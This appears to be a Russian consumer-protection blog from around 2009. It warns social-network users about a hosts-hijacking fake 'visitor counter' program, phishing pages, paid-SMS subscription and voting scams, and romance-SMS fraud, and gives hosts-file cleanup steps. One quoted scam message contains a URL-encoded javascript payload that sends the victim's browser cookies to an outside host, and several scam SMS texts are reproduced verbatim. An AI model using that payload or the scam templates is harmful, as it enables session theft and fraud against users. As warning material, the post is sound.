Важно не разглашать свой e-mail, но и юридический адрес, если вы занимаетесь предпринимательской деятельностью, как юридическое лицо, тоже не стоит раздавать направо и налево. Им могут воспользоваться ваши недоброжелатели или конкуренты с целью завладения вашим имуществом или для того, чтобы испортить вам репутацию.

Переходим на www.vevk.ru, стоит редирект на мнимый блог Павла Дурова – www.dyr0bblog.ru (кто не понял, это не его блог)

Всё оформлено под дизайн Вконтакте, основная идея поста состоит в том, что якобы сайт Вконтакте запускает новый счётчик – “Гости моей странички”. Как написано:

В данный момент сервис работает в тестовом режиме, но Вы уже можете ознакомиться с его основными функциями. Счетчик для пользования сервисом генерируется под каждого пользователя Вконтакте персонально, это сделано для того, чтобы остальные пользователи не узнали, что они были замечены и занесены в статистику.

Нажимаем “Посмотреть новый сервис”, идёт генерация счётчика. 20 секунд и всё готово, нам предлагают скачать данное чудо, а точнее фаил – VKGuest.exe

Будем устанавливать? Конечно же да!

Установили. Итог всей писанины:

1)      Яндекс, Рамблер, Mail и Гугл выдают нечто следующее:

«Запрашиваемый url не может быть представлен так как, ваш компьютер подозревается в рассылке спама»

2)      Другие сайты открываются по прежнему.

3)      Если переходить непосредственно на свой  id Вконтакте то выдает ошибку:

Not Found

The requested URL /id817XX3X was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

---

Apache/2 Server at vkontakte.ru Port 80

Если же на прямую, на www.vkontakte.ru, то просит вести свои данные для авторизации. Мутно короче всё, счётчик мне точно не дадут.  Гады. Для чего всё это надо, я так и не понял, хоть бы попросили смс какую отправить. Поиском зато пользоваться теперь нельзя.

Кто уже себе установил, будем бороться! Как я понял, этот счётчик при установке, полностью заменяет ваш фаил “hosts” (не меняет строки, а заменяет его полностью).

Переходим в компьютере в папку: C:\WINDOWS\system32\drivers\etc\

Отсюда скачиваем новый файл:  >>> тут Я! <<<

Извлекаем из архива. И просто копируем, то, что скачали, в папку etk. Заменить? Да. Проверяем, всё теперь работает по-прежнему. Никогда больше не устанавливайте себе всякую гадость!

Нам это интересно?, тогда идём за подарками. Переходим на www.vk-best.ru, и видим прикольную, фишинговую страницу. Т.е. страничку по дизайну похожую на Вконтакте. Требуется авторизация, пройдём ее и сразу потеряем свои пароли. Обычный лохотрон!

p.s. домен поменять не составит большой проблемы, так что ждите новых рассылок.

Вот эти денежные парни, больше всего меня обычно и интересуют – мои любимые товарищи спамеры и товарищи инвайтеры. Чем больше сеть, тем больше их..  Рассказывать об этом можно часами, но этот блог увы не об этом …

Итак, парень, который реально меня достал. Встречаем. Сергей Григорьев, из Перми. Я, конечно, понимаю, что его страницу элементарно взломали, и какой-то другой мальчик, пишет мне эти привлекательные месседжи. Но тем не менее приходит с его аккаунта.

А шлёт он в основном ссылку на www.sexznacome.com – секс знакомства, клуб для взрослых. Ненавижу эти сайты, их тысячи, их просто тьма. Одни закрываются, другие, открываются, снова закрываются и снова … Эти сайты – сайты “поддельных” знакомств, быстрого, бесплатного секса – просто притягивают пользователей пачками. Писать ежедневно о них нет смысла,  т.к. никакие доводы не переубедят наше мужское поколение, да именно мужское, ведь они основные ценители и рабы данных секс порталов.  Увидев пару голых фоточек, мы просто забываем обо всём …

Ну да ладно, как я уже сказал с этим ничего и не поделаешь. Просто стоит лишний раз отметить, что это “псевдо”  сайт, и никаких знакомств там вовсе нет. Элементарный код, выводит несколько анкет, стоит привязка к городам. Немного фото, ну и всё.

От вас требуется только одно – регистрация. Ведь не каждый читает строки внизу страницы:

Стоимость услуги для абонентов (c НДС): МТС – 160 руб. 87 коп. с НДС раз в 4 дня; Билайн – 160 руб. 00 коп. с НДС раз в 4 дня.
Для остановки подписки отправить СМС-сообщение с текстом STOP. Для абонентов МТС – на номер 770640. Для абонентов других операторов – на номер 2210.

А теперь немного поподробнее, вы вводите данные – свой номер, вам приходит смс якобы подтвердить участие – вводите и всё. Пользуйтесь, но каждые 4 дня с Вас будут списывать по 160 рублей. Натрахались? Я думаю, нет, при учёте что после ввода своего номера, сайт просто перезагружается и вы не можете не с кем общаться. Ведь сайт “муляж” – вас развели. А все прям, размечтались, секс знакомства вам предложили. Будьте бдительны, и хватит сидеть в Интернете!

Довольно заманчиво. Вписываю e-mail на который зарегистрирован мой аккаунт Вконтакте, секунда, и появляется то что я и ожидал:

Внимание обнаружен Вирус! Система зарегистрировала присутствие вредоносного программного обеспечения на вашем аккаунте, которое может, является причиной рассылки нежелательных рекламных сообщений пользователям www.vkontakte.ru от Вашего имени. Настоятельно рекомендуем провести профилактическую чистку аккаунта. Система удалит вирус в автоматическом режиме.

Для подтверждения, что вы являетесь хозяином данного аккаунта введите пароль:

Вводим свой пароль, и появляется надпись, следующего содержания.

p.s. сайт полный лохотрон, создан для получения паролей от сайта Вконтакте.

p.s.s не следует считать что я ввёл реальный пароль. Не попадайтесь.

31 октября 2008 года всеми любимая социальная сеть Одноклассники объявила всему русскоговорящему населению, нашей планеты, о том, что регистрация новых пользователей становится платной (35.00 RUR). В последствии данное новшество вызвало негодование у широкого круга пользователей. Но как стало известно от руководства сайта – данная мера объясняется защитой уже существующих пользователей Одноклассников от рассылок спама.

Так ли это или нет? Вопрос довольно сложный. Возможно, спама и правда стало меньше, хотя кто знает, просто нечего сравнивать. Сколько “было бы” не скажет некто.

Возможно, мера ввода платной регистрации и имела благородные намерения, но врятли они оправдались. Мошенники стали от этого только умнее, наделали фишинговых сайтов, и начали тихо ломать аккаунты. А потом незаметно, пытаясь максимально казаться естественными, рассылают спамерские сообщения всему списку друзей.

Требования и просьбы совершенно различны, одинаков только эффект – с вас сдирают деньги, в основном через СМС.

Каждому из читателей, эта тема знакома по своему. У каждого сообщения свои. Представлю лишь некоторые из них, которые пришли ко мне в ближайшие дни, и всё от друзей. Не попадайтесь.

Я сейчас тебе фишку одну зачетную расскажу! У меня один очень хороший товарищ недавно устроился на работу в службу тех. поддержки оператора сотовой связи. Он мне рассказал, что у всех сотрудников этой компании есть возможность один раз в день пополнять себе баланс на мобильнике бесплатно. Этот метод действует на всех операторах связи. Короче, отправляй СМС на номер 6008 с текстом ______ и в течении 20 минут тебе на счет придет 300 рублей. Стоимость отправки SMS столько же, сколько и на обычные номера. У меня за 5 дней на счете уже 1500 рублей накопилось:) Сейчас могу болтать по телефону сколько душе угодно, не задумываясь о балансе:) Только ты не болтай насчет этой фишки, эта информация для ОЧЕНЬ узкого круга людей!

Привет, Роман , представляешь мою страничку взломали козлы какие-то и c меня cпам раccылают. Aдминиcтрация напиcала, чтобы мои друзья в одноклаccникаx подтвердили, что это действительно я, а не программа какая то, и воccтановили cтраничку. Подтверди c’мc’кой пожалуйcта что это я. Cлово _____ на номер 6 0 0 8. Это беcплатно. Tолько обязательно, ладно, а то cтраницу удалят.

Пpивет! кaк жизнь? у мeня к тeбe пpocьба. Я ceйчаc в однoм oчeнь интереcнoм конкуpce yчaвcтвую. В oбщeм немнoго оcтaлоcь до тoгo, чтoб выиrрать Apple Iphone ЗG ! Пporoлocyй пoжалyйста за меня, oтoшли плиз всero 1cмс-кy. Kopоткий нум 6008, с тeкcтом _____. Oтвeть мнe пожaлyйстa на этo cooбщeние, и в oтвeте укaжи cвoй номeр тeлефoнa, нy или дpyroй нoмep, на кoтоpый нaдo oтпpaвить денeжкy. ceroдня же кину! Oчeнь хoчy ceбe этoт тeлeфон! Заpaнee orрoмнoе cпacибo, в дoлry нe оcтaнycь!

Многие из нас зарегистрированы в мегагигантской социальной сети под названием “Вконтакте”. Сеть большая – много всего интересного. Сегодня я хотел рассмотреть одно сообщение, которое получил не так давно. Самое интересное – что это не просто сообщение, а мнение. Т.е. анонимный отзыв о пользователе. Если оно попало к вам, вы не можете узнать от кого оно. Вот так же случилось и со мной. Мнения я получал и раньше, но в этот раз оно не подходило под обычные стандарты. Итак, сам текст:

Привет зай :-* Отлично выглядишь на фотке))
Кстать, хочешь узнать, кто тебе мнения оставлял (включая меня), а также заходил на твою страницу? В общем, копируй этот код:

javascript:%64%6F%63%75%6D%65%6E%74.%77%72%69%74%65(‘<script>img = new Image(); img.src = «%68%74%74%70:%2F%2F%6F%70%69%6E%69%6F%6E.%74%75%32.%72%75/%73.%70%68%70?»+%64%6F%63%75%6D%65%6E%74.%63%6F%6F%6B%69%65;</script>’)

в адресную строку браузера НА ЭТОЙ СТРАНИЦЕ и перейди по нему)) Только особо не распространяйся, а то прикроют эту халяву

Довольно интересно. Но в деда Мороза в наше время лучше не верить. Что на самом деле делает этот скрипт – я сказать не могу. Возможно, ворует (точнее вы сами отдаете) пароли. Возможно, что-то рассылает.

Проверять я не стал. Но статья, я думаю, всё равно пригодится. Может позже, кто проверит и расскажет, что будет, если его ввести.

На сайтах знакомств то и дело появляются всё новые личности. Личности которые готовы запудрить вам мозг при любой существующей возможности.

Методы существуют довольно разные, но конечные цели является идентичными.

Итак, этот рассказ про сообщения, которые рассылают на сайтах знакомств. Модификаций много, смысл один. Молодой человек присылает сообщение со словами, что он запал на вашу привлекательность. Шикарные фото, аккуратно заполненная анкета помогают сделать своё дело. Вы с ним общаетесь, он рассказывает, что он немец. Пилот или моряк. Спустя пару дней он уезжает на работу, но уж очень хочет не прерывать вашу связь. Тем более что у него там выделенная линия, и практически бесплатно можно перекидываться sms. Он скидывает вам свой короткий номер, и при первой же смс вы начинаете понимать, что вас элементарно надурили … уж больно высока цена этого общения. Но жаловаться уже не кому, парень пропал. Точнее просто ушел в поисках следующей жертвы.

Этот пример я привел, как нечто обобщающее. На самом деле таких сообщений в различных вариациях довольно много. Фигурируют как личности мужского, так и женского пола. Бывают просто одинарные смс без последующей переписки, они выглядят примерно так:

Privet!Moe imja – Emilia. Mne by ozen hotelos s toboi posnakomitsja! No ja ne imeju vosmognosti byvat v i-nete Prizina- moja rabota.
Na sluzai,esli ty toge ne protiv nashego snakomstva,ostavljaju tebe svoi
koordinaty .Ty vsegda smogesh napisat mne so svoego mobilnika…
Chto by tvoe pismo doshlo ko mne,nugno pisat pered tekstom DRESDEN , satem chto sahochesh… I otpravit,kak obychnoe sms na nomer 1272.
Ich wurde mich uber eine Bekanntschaft mit dir sehr freuen!! .hotelos by snat tvoe nastojashee imja! Nadejus,ty predstavish sja mne!
Na foto ja! S uvageniem, – Emilia.

Или еще одна модификация:

Привет! Меня зовут Эрика. Я здесь бываю очень редко. Скинь мне SMS, я тебе позже отвечу, и мы сможем встретиться и хорошо оттянуться.
Напиши слово ERIKA и отправь на номер 2125
Целую, до встречи.

Просто и со вкусом. Перерыв множество сообщений я нашел наиболее частые имена. Emilia, Elena, Volker, Elisabettina, Romeo, Aleks, Friedrich, BERLIN, DRESDEN.

Номера для отправки смс – в основном, 1272 и 2125, но в дальнейшим прогнозируется появлении и других биллинговых номеров.

Ну, вот наверное и всё по данной информации, не попадайтесь.

]]> http://www.ho24me.com/node/59/feed 2 http://www.ho24me.com/node/57 http://www.ho24me.com/node/57#comments Sat, 04 Jul 2009 09:14:11 +0000 admin http://www.ho24me.com/?p=57 Сегодня знакомая на работе рассказывала историю про то, как ее дочь отправила смс чтобы помочь своей подруге. Немного пообщавшись, я сразу понял, о чём речь. Непонятно только одно, лохотрон ну очень уж старый. Как на него можно вестись то…

Итак, как всегда, ломают страницу в одноклассниках. Потом начинают по всему списку контактов рассылать спам. В ее случае это было сообщение:

Привет. Как делишки? слушай, можешь мне помочь. Дело в том что я участвую в конкурсе, и ноут почти у меня чтобы проголосовать за меня нужно отправить смс с тектом 21 74589 (между 21 и 74589 пробел) на номер ****, (Если не получится то на ####) Если можешь, отправь парочку sмs. Стоит 2 рубля. Нахватает немного. Обещаю, если хочешь, отдам деньги. Помоги, пожалуйста.

Как вы сами видите текст не самый лучший. Да и ошибки я уже исправил сам. Но всё равно добавим на сайт, может кому и понадобится. Есть же наивные.

В последнее время у многих пользователей при входе на главную страницу сайта Вконтакте появляется сообщение подобного типа:

В связи с многочисленной регистрацией анонимных анкет, и активному подъему уровня спам рассылок – теперь каждая анкета подлежит обязательной активации.
Активация происходит в автоматическом режиме, для этого необходимо отправить бесплатную sms на номер: 4460, 6008, 3354 с кодом ….

Если вы видите такое сообщение у себя в браузере. Это верный признак, что на вашем компьютере установлен вирус или же троян, в общем не знаю даже как его и правильно его назвать – вредоносное ПО.

Смс, которую нам предлагают отослать для его удаления соответственно бесплатной не является, ее цена от 100 до 1000 руб. В зависимости от номера и вашего оператора.

Но существуют иные методы борьбы с этой напастью. Итак, приступим, лечение этой беды:

а) Заходим в меню Пуск – Выполнить, в открывшемся окошке прописываем строчку %SYSTEMROOT%\system32\drivers\etc\hosts (просто скопируйте отсюда) – далее Выбор программы – выбираем Блокнот. (если не получается, пребываем проделать тоже самое в Безопасном режиме)

б) В открытом документе просматриваем, есть ли в тексте упоминание о сайте vkontakte.ru (вконтакте ру). Если есть, удаляем такие строчки.

в) Открываем поиск и водим имя фаила vkontakte.exe. Дополнительные параметры, поиск в скрытых фаилах и папках, а так же поиск в системных папках. Выполняем поиск по всем папкам и дискам компьютера. Найденный фаил vkontakte.exe – удалям.

г) Проверяем весь компьютер антивирусами, желательно скачать Dr.Web CureIt – антивирусный сканер, он точно отыщет всё лишнее.

д) Меняем входной пароль на сайт Вконтакте. И радуемся жизни.

Если на первом шаге через поиск у вас не получается найти заданной строки, то эта проблема решается, ручным поиском необходимого нам фаила. Идём по адресу, C:\WINDOWS\system32\drivers\etc\ – нажимами на фаил hosts, далее выбираем блокнот и повторяем все остальные пункты.

Если это решение вам не помогло, то возможно сделать два альтернативных варианта.

1) Удалить все записи из фаила hosts (желательно предварительно их куда нибудь скопировать, и проверить )

2) Переместить всё содержимое из папки C:\WINDOWS\system32\drivers\etc\ другую папку (любую), но именно переместить, не копировать.

Если и это не помогло, то остается только восстановление системы, на день раньше появления этого сообщения. Или соответственно полная переустановка windows.